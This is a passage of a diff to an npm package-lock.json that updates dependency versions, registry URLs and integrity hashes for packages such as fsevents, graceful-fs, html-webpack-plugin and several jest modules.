"https://registry.npmjs.org/fs-monkey/-/fs-monkey-1.0.3.tgz", - "integrity": "sha512-cybjIfiiE+pTWicSCLFHSrXZ6EilF30oh91FDP9S2B051prEa7QWfrVTQm10/dDpswBDXZugPa1Ogu8Yh+HV0Q==", + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/fs-monkey/-/fs-monkey-1.0.4.tgz", + "integrity": "sha512-INM/fWAxMICjttnD0DX1rBvinKskj5G1w+oy/pnm9u/tSlnBrzFonJMcalKJ30P8RRsPzKcCG7Q8l0jx5Fh9YQ==", "dev": true }, "node_modules/fs-readdir-recursive": { @@ -6428,9 +6837,9 @@ "dev": true }, "node_modules/fsevents": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", - "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", "dev": true, "hasInstallScript": true, "optional": true, @@ -6447,15 +6856,15 @@ "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" }, "node_modules/function.prototype.name": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.5.tgz", - "integrity": "sha512-uN7m/BzVKQnCUF/iW8jYea67v++2u7m5UgENbHRtdDVclOUP+FMPlCNdmk0h/ysGyo2tavMJEDqJAkJdRa1vMA==", + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.6.tgz", + "integrity": "sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg==", "dev": true, "dependencies": { "call-bind": "^1.0.2", - "define-properties": "^1.1.3", - "es-abstract": "^1.19.0", - "functions-have-names": "^1.2.2" + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1", + "functions-have-names": "^1.2.3" }, "engines": { "node": ">= 0.4" @@ -6492,12 +6901,13 @@ } }, "node_modules/get-intrinsic": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.0.tgz", - "integrity": "sha512-L049y6nFOuom5wGyRc3/gdTLO94dySVKRACj1RmJZBQXlbTMhtNIgkWkUHq+jYmZvKf14EW1EoJnnjbmoHij0Q==", + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.1.tgz", + "integrity": "sha512-2DcsyfABl+gVHEfCOaTrWgyt+tb6MSEGmKq+kI5HwLbIYgjgmMcV8KQ41uaKz1xxUcn9tJtgFbQUEVcEbd0FYw==", "dependencies": { "function-bind": "^1.1.1", "has": "^1.0.3", + "has-proto": "^1.0.1", "has-symbols": "^1.0.3" }, "funding": { @@ -6613,14 +7023,14 @@ } }, "node_modules/graceful-fs": { - "version": "4.2.10", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.10.tgz", - "integrity": "sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA==" + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==" }, - "node_modules/grapheme-splitter": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/grapheme-splitter/-/grapheme-splitter-1.0.4.tgz", - "integrity": "sha512-bzh50DW9kTPM00T8y4o8vQg89Di9oLJVLW/KaOGIXJWP/iqCN6WKYkbNOF04vFLJhwcpYUh9ydh/+5vpOqV4YQ==", + "node_modules/graphemer": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/graphemer/-/graphemer-1.4.0.tgz", + "integrity": "sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==", "dev": true }, "node_modules/handle-thing": { @@ -6713,7 +7123,6 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.1.tgz", "integrity": "sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==", - "dev": true, "engines": { "node": ">= 0.4" }, @@ -6760,9 +7169,9 @@ } }, "node_modules/hash-base/node_modules/readable-stream": { - "version": "3.6.1", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.1.tgz", - "integrity": "sha512-+rQmrWMYGA90yenhTYsLWAsLsqVC8osOw6PKE1HDYiO0gdPeKe/xDHNzIAIn4C91YQ6oenEhfYqqc1883qHbjQ==", + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", "dependencies": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", @@ -6834,6 +7243,12 @@ "wbuf": "^1.1.0" } }, + "node_modules/hpack.js/node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==", + "dev": true + }, "node_modules/hpack.js/node_modules/readable-stream": { "version": "2.3.8", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", @@ -6865,10 +7280,20 @@ } }, "node_modules/html-entities": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.3.3.tgz", - "integrity": "sha512-DV5Ln36z34NNTDgnz0EWGBLZENelNAtkiFA4kyNOG2tDI6Mz1uSWiq1wAKdyjnJwyDiDO7Fa2SO1CTxPXL8VxA==", - "dev": true + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.4.0.tgz", + "integrity": "sha512-igBTJcNNNhvZFRtm8uA6xMY6xYleeDwn3PeBCkDz7tHttv4F2hsDI2aPgNERWzvRcNYHNT3ymRaQzllmXj4YsQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/mdevils" + }, + { + "type": "patreon", + "url": "https://patreon.com/mdevils" + } + ] }, "node_modules/html-loader": { "version": "4.2.0", @@ -6891,14 +7316,14 @@ } }, "node_modules/html-minifier-terser": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/html-minifier-terser/-/html-minifier-terser-7.1.0.tgz", - "integrity": "sha512-BvPO2S7Ip0Q5qt+Y8j/27Vclj6uHC6av0TMoDn7/bJPhMWHI2UtR2e/zEgJn3/qYAmxumrGp9q4UHurL6mtW9Q==", + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/html-minifier-terser/-/html-minifier-terser-7.2.0.tgz", + "integrity": "sha512-tXgn3QfqPIpGl9o+K5tpcj3/MN4SfLtsx2GWwBC3SSd0tXQGyF3gsSqad8loJgKZGM3ZxbYDd5yhiBIdWpmvLA==", "dev": true, "dependencies": { "camel-case": "^4.1.2", - "clean-css": "5.2.0", - "commander": "^9.4.1", + "clean-css": "~5.3.2", + "commander": "^10.0.0", "entities": "^4.4.0", "param-case": "^3.0.4", "relateurl": "^0.2.7", @@ -6912,18 +7337,18 @@ } }, "node_modules/html-minifier-terser/node_modules/commander": { - "version": "9.5.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-9.5.0.tgz", - "integrity": "sha512-KRs7WVDKg86PWiuAqhDrAQnTXZKraVcCc6vFdL14qrZ/DcWwuRo7VoiYXalXO7S5GKpqYiVEwCbgFDfxNHKJBQ==", + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-10.0.1.tgz", + "integrity": "sha512-y4Mg2tXshplEbSGzx7amzPwKKOCGuoSRP/CjEdwwk0FOGlUbq6lKuoyDZTNZkmxHdJtp54hdfY/JUrdL7Xfdug==", "dev": true, "engines": { - "node": "^12.20.0 || >=14" + "node": ">=14" } }, "node_modules/html-webpack-plugin": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/html-webpack-plugin/-/html-webpack-plugin-5.5.0.tgz", - "integrity": "sha512-sy88PC2cRTVxvETRgUHFrL4No3UxvcH8G1NepGhqaTT+GXN2kTamqasot0inS5hXeg1cMbFDt27zzo9p35lZVw==", + "version": "5.5.3", + "resolved": "https://registry.npmjs.org/html-webpack-plugin/-/html-webpack-plugin-5.5.3.tgz", + "integrity": "sha512-6YrDKTuqaP/TquFH7h4srYWsZx+x6k6+FbsTm0ziCwGHDP78Unr1r9F/H4+sGmMbX08GQcJ+K64x55b+7VM/jg==", "dev": true, "dependencies": { "@types/html-minifier-terser": "^6.0.0", @@ -6943,18 +7368,6 @@ "webpack": "^5.20.0" } }, - "node_modules/html-webpack-plugin/node_modules/clean-css": { - "version": "5.3.2", - "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-5.3.2.tgz", - "integrity": "sha512-JVJbM+f3d3Q704rF4bqQ5UUyTtuJ0JRKNbTKVEeujCCBoMdkEi+V+e8oktO9qGQNSvHrFTM6JZRXrUvGR1czww==", - "dev": true, - "dependencies": { - "source-map": "~0.6.0" - }, - "engines": { - "node": ">= 10.0" - } - }, "node_modules/html-webpack-plugin/node_modules/commander": { "version": "8.3.0", "resolved": "https://registry.npmjs.org/commander/-/commander-8.3.0.tgz", @@ -6985,15 +7398,6 @@ "node": ">=12" } }, - "node_modules/html-webpack-plugin/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, "node_modules/htmlparser2": { "version": "6.1.0", "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-6.1.0.tgz", @@ -7128,11 +7532,6 @@ "node": ">=10.17.0" } }, - "node_modules/hyphenate-style-name": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/hyphenate-style-name/-/hyphenate-style-name-1.0.4.tgz", - "integrity": "sha512-ygGZLjmXfPHj+ZWh6LwbC37l43MhfztxetbFCoYTM2VjkIUpeHgSNn7QIyVFj7YQ1Wl9Cbw5sholVJPzWvC2MQ==" - }, "node_modules/iconv-lite": { "version": "0.6.3", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", @@ -7185,9 +7584,9 @@ } }, "node_modules/immutable": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/immutable/-/immutable-4.2.4.tgz", - "integrity": "sha512-WDxL3Hheb1JkRN3sQkyujNlL/xRjAo3rJtaU5xeufUauG66JdMr32bLj4gF+vWl84DIA3Zxw7tiAjneYzRRw+w==", + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/immutable/-/immutable-4.3.4.tgz", + "integrity": "sha512-fsXeu4J4i6WNWSikpI88v/PcVflZz+6kMhUfIwc5SY+poQRPnaf5V7qds6SUyUN3cVxEzuCab7QIoLOQ+DQ1wA==", "dev": true }, "node_modules/import-fresh": { @@ -7224,6 +7623,70 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/import-local/node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dev": true, + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/import-local/node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dev": true, + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/import-local/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/import-local/node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dev": true, + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/import-local/node_modules/pkg-dir": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", + "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "dev": true, + "dependencies": { + "find-up": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, "node_modules/imurmurhash": { "version": "0.1.4", "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", @@ -7285,9 +7748,9 @@ } }, "node_modules/ipaddr.js": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-2.0.1.tgz", - "integrity": "sha512-1qTgH9NG+IIJ4yfKs2e6Pp1bZg8wbDbKHT21HrLIeYBTRLgMYKnMTPAuI3Lcs61nfx5h1xlXnbJtH1kX5/d/ng==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-2.1.0.tgz", + "integrity": "sha512-LlbxQ7xKzfBusov6UMi4MFpEg0m+mAm9xyNGEduwXMEDuf4WfzB/RZwMVYEd7IKGvh4IUkEXYxtAVu9T3OelJQ==", "dev": true, "engines": { "node": ">= 10" @@ -7327,6 +7790,21 @@ "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==" }, + "node_modules/is-async-function": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-async-function/-/is-async-function-2.0.0.tgz", + "integrity": "sha512-Y1JXKrfykRJGdlDwdKlLpLyMIiWqWvuSd17TvZk68PLAOGOoF4Xyav1z0Xhoi+gCYjZVeC5SI+hYFOfvXmGRCA==", + "dev": true, + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, "node_modules/is-bigint": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.0.4.tgz", @@ -7401,9 +7879,9 @@ } }, "node_modules/is-core-module": { - "version": "2.11.0", - "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.11.0.tgz", - "integrity": "sha512-RRjxlvLDkD1YJwDbroBHMb+cukurkDWNyHx7D3oNB5x9rb5ogcksMC5wHCadcXoo67gVr/+3GFySh3134zi6rw==", + "version": "2.13.0", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.13.0.tgz", + "integrity": "sha512-Z7dk6Qo8pOCp3l4tsX2C5ZVas4V+UxwQodwZhLopL91TX8UyyHEXafPcyoeeWuLrwzHcr3igO78wNLwHJHsMCQ==", "dependencies": { "has": "^1.0.3" }, @@ -7450,6 +7928,18 @@ "node": ">=0.10.0" } }, + "node_modules/is-finalizationregistry": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-finalizationregistry/-/is-finalizationregistry-1.0.2.tgz", + "integrity": "sha512-0by5vtUJs8iFQb5TYUHHPudOR+qXYIMKtiUzvLIZITZUjknFmziyBJuLhVRc+Ds0dREFlskDNJKYIdIzu/9pfw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, "node_modules/is-fullwidth-code-point": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", @@ -7485,10 +7975,14 @@ "node": ">=0.10.0" } }, - "node_modules/is-in-browser": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/is-in-browser/-/is-in-browser-1.1.3.tgz", - "integrity": "sha512-FeXIBgG/CPGd/WUxuEyvgGTEfwiG9Z4EKGxjNMRqviiIIfsmgrpnHLffEDdwUHqNva1VEW91o3xBT/m8Elgl9g==" + "node_modules/is-map": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-map/-/is-map-2.0.2.tgz", + "integrity": "sha512-cOZFQQozTha1f4MxLFzlgKYPTyj26picdZTx82hbc/Xf4K/tZOOXSCkMvU4pKioRXGDLJRn0GM7Upe7kR721yg==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } }, "node_modules/is-nan": { "version": "1.3.2", @@ -7589,6 +8083,15 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/is-set": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-set/-/is-set-2.0.2.tgz", + "integrity": "sha512-+2cnTEZeY5z/iXGbLhPrOAaK/Mau5k5eXq9j14CpRTftq0pAJu2MwVRSZhyZWBzx3o6X795Lz6Bpb6R0GKf37g==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, "node_modules/is-shared-array-buffer": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.2.tgz", @@ -7640,15 +8143,11 @@ } }, "node_modules/is-typed-array": { - "version": "1.1.10", - "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.10.tgz", - "integrity": "sha512-PJqgEHiWZvMpaFZ3uTc8kHPM4+4ADTlDniuQL7cU/UDA0Ql7F70yGfHph3cLNe+c9toaigv+DFzTJKhc2CtO6A==", + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.12.tgz", + "integrity": "sha512-Z14TF2JNG8Lss5/HMqt0//T9JeHXttXy5pH/DBU4vi98ozO2btxzq9MwYDZYnKwU8nRsz/+GVFVRDq3DkVuSPg==", "dependencies": { - "available-typed-arrays": "^1.0.5", - "call-bind": "^1.0.2", - "for-each": "^0.3.3", - "gopd": "^1.0.1", - "has-tostringtag": "^1.0.0" + "which-typed-array": "^1.1.11" }, "engines": { "node": ">= 0.4" @@ -7662,6 +8161,15 @@ "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==" }, + "node_modules/is-weakmap": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-weakmap/-/is-weakmap-2.0.1.tgz", + "integrity": "sha512-NSBR4kH5oVj1Uwvv970ruUkCV7O1mzgVFO4/rev2cLRda9Tm9HrL70ZPut4rOHgY0FNrUu9BCbXA2sdQ+x0chA==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, "node_modules/is-weakref": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.2.tgz", @@ -7674,6 +8182,19 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/is-weakset": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-weakset/-/is-weakset-2.0.2.tgz", + "integrity": "sha512-t2yVvttHkQktwnNNmBQ98AhENLdPUTDTE21uPqAQ0ARwQfGeQKRVS0NNurH7bTf7RrvcVn1OOge45CnBeHCSmg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, "node_modules/is-wsl": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz", @@ -7687,9 +8208,9 @@ } }, "node_modules/isarray": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", - "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==", + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", "dev": true }, "node_modules/isexe": { @@ -7721,16 +8242,47 @@ "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", "integrity": "sha512-Yljz7ffyPbrLpLngrMtZ7NduUgVvi6wG9RJ9IUcyCd59YQ911PBJphODUcbOVbqYfxe1wuYf/LJ8PauMRwsM/g==" }, + "node_modules/iterator.prototype": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/iterator.prototype/-/iterator.prototype-1.1.2.tgz", + "integrity": "sha512-DR33HMMr8EzwuRL8Y9D3u2BMj8+RqSE850jfGu59kS7tbmPLzGkZmVSfyCFSDxuZiEY6Rzt3T2NA/qU+NwVj1w==", + "dev": true, + "dependencies": { + "define-properties": "^1.2.1", + "get-intrinsic": "^1.2.1", + "has-symbols": "^1.0.3", + "reflect.getprototypeof": "^1.0.4", + "set-function-name": "^2.0.1" + } + }, + "node_modules/jackspeak": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-2.3.3.tgz", + "integrity": "sha512-R2bUw+kVZFS/h1AZqBKrSgDmdmjApzgY0AlCPumopFiAlbUxE2gf+SCuBzQ0cP5hHmUmFYF5yw55T97Th5Kstg==", + "dev": true, + "dependencies": { + "@isaacs/cliui": "^8.0.2" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + }, + "optionalDependencies": { + "@pkgjs/parseargs": "^0.11.0" + } + }, "node_modules/jest-diff": { - "version": "29.5.0", - "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-29.5.0.tgz", - "integrity": "sha512-LtxijLLZBduXnHSniy0WMdaHjmQnt3g5sa16W4p0HqukYTTsyTW3GD1q41TyGl5YFXj/5B2U6dlh5FM1LIMgxw==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-29.7.0.tgz", + "integrity": "sha512-LMIgiIrhigmPrs03JHpxUh2yISK3vLFPkAodPeo0+BuF7wA2FoQbkEg1u8gBYBThncu7e1oEDUfIXVuTqLRUjw==", "dev": true, "dependencies": { "chalk": "^4.0.0", - "diff-sequences": "^29.4.3", - "jest-get-type": "^29.4.3", - "pretty-format": "^29.5.0" + "diff-sequences": "^29.6.3", + "jest-get-type": "^29.6.3", + "pretty-format": "^29.7.0" }, "engines": { "node": "^14.15.0 || ^16.10.0 || >=18.0.0" @@ -7807,24 +8359,24 @@ } }, "node_modules/jest-get-type": { - "version": "29.4.3", - "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-29.4.3.tgz", - "integrity": "sha512-J5Xez4nRRMjk8emnTpWrlkyb9pfRQQanDrvWHhsR1+VUfbwxi30eVcZFlcdGInRibU4G5LwHXpI7IRHU0CY+gg==", + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-29.6.3.tgz", + "integrity": "sha512-zrteXnqYxfQh7l5FHyL38jL39di8H8rHoecLH3JNxH3BwOrBsNeabdap5e0I23lD4HHI8W5VFBZqG4Eaq5LNcw==", "dev": true, "engines": { "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, "node_modules/jest-matcher-utils": { - "version": "29.5.0", - "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-29.5.0.tgz", - "integrity": "sha512-lecRtgm/rjIK0CQ7LPQwzCs2VwW6WAahA55YBuI+xqmhm7LAaxokSB8C97yJeYyT+HvQkH741StzpU41wohhWw==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-29.7.0.tgz", + "integrity": "sha512-sBkD+Xi9DtcChsI3L3u0+N0opgPYnCRPtGcQYrgXmR+hmt/fYfWAL0xRXYU8eWOdfuLgBe0YCW3AFtnRLagq/g==", "dev": true, "dependencies": { "chalk": "^4.0.0", - "jest-diff": "^29.5.0", - "jest-get-type": "^29.4.3", - "pretty-format": "^29.5.0" + "jest-diff": "^29.7.0", + "jest-get-type": "^29.6.3", + "pretty-format": "^29.7.0" }, "engines": { "node": "^14.15.0 || ^16.10.0 || >=18.0.0" @@ -7901,18 +8453,18 @@ } }, "node_modules/jest-message-util": { - "version": "29.5.0", - "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-29.5.0.tgz", - "integrity": "sha512-Kijeg9Dag6CKtIDA7O21zNTACqD5MD/8HfIV8pdD94vFyFuer52SigdC3IQMhab3vACxXMiFk+yMHNdbqtyTGA==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-29.7.0.tgz", + "integrity": "sha512-GBEV4GRADeP+qtB2+6u61stea8mGcOT4mCtrYISZwfu9/ISHFJ/5zOMXYbpBE9RsS5+Gb63DW4FgmnKJ79Kf6w==", "dev": true, "dependencies": { "@babel/code-frame": "^7.12.13", - "@jest/types": "^29.5.0", + "@jest/types": "^29.6.3", "@types/stack-utils": "^2.0.0", "chalk": "^4.0.0", "graceful-fs": "^4.2.9", "micromatch": "^4.0.4", - "pretty-format": "^29.5.0", + "pretty-format": "^29.7.0", "slash": "^3.0.0", "stack-utils": "^2.0.3" }, @@ -8000,12 +8552,12 @@ } }, "node_modules/jest-util": { - "version": "29.5.0", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-29.5.0.tgz", - "integrity": "sha512-RYMgG/MTadOr5t8KdhejfvUU82MxsCu5MF6KuDUHl+NuwzUt+Sm6jJWxTJVrDR1j5M/gJVCPKQEpWXY+yIQ6lQ==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-29.7.0.tgz", + "integrity": "sha512-z6EbKajIpqGKU56y5KBUgy1dt1ihhQJgWzUlZHArA/+X2ad7Cb5iF+AK1EWVL/Bo7Rz9uurpqw6SiBCefUbCGA==", "dev": true, "dependencies": { - "@jest/types": "^29.5.0", + "@jest/types": "^29.6.3", "@types/node": "*", "chalk": "^4.0.0", "ci-info": "^3.2.0", @@ -8087,13 +8639,13 @@ } }, "node_modules/jest-worker": { - "version": "29.5.0", - "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.5.0.tgz", - "integrity": "sha512-NcrQnevGoSp4b5kg+akIpthoAFHxPBcb5P6mYPY0fUNT+sSvmtu6jlkEle3anczUKIKEbMxFimk9oTP/tpIPgA==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.7.0.tgz", + "integrity": "sha512-eIz2msL/EzL9UFTFFx7jBTkeZfku0yUAyZZZmJ93H2TYEiroIx2PQjEXcwYtYl8zXCxb+PAmA2hLIt/6ZEkPHw==", "dev": true, "dependencies": { "@types/node": "*", - "jest-util": "^29.5.0", + "jest-util": "^29.7.0", "merge-stream": "^2.0.0", "supports-color": "^8.0.0" }, @@ -8125,22 +8677,6 @@ "url": "https://github.com/chalk/supports-color?sponsor=1" } }, - "node_modules/jquery": { - "version": "3.6.3", - "resolved": "https://registry.npmjs.org/jquery/-/jquery-3.6.3.tgz", - "integrity": "sha512-bZ5Sy3YzKo9Fyc8wH2iIQK4JImJ6R0GWI9kL1/k7Z91ZBNgkRXE6U0JfHIizZbort8ZunhSI3jw9I6253ahKfg==", - "peer": true - }, - "node_modules/js-sdsl": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/js-sdsl/-/js-sdsl-4.3.0.tgz", - "integrity": 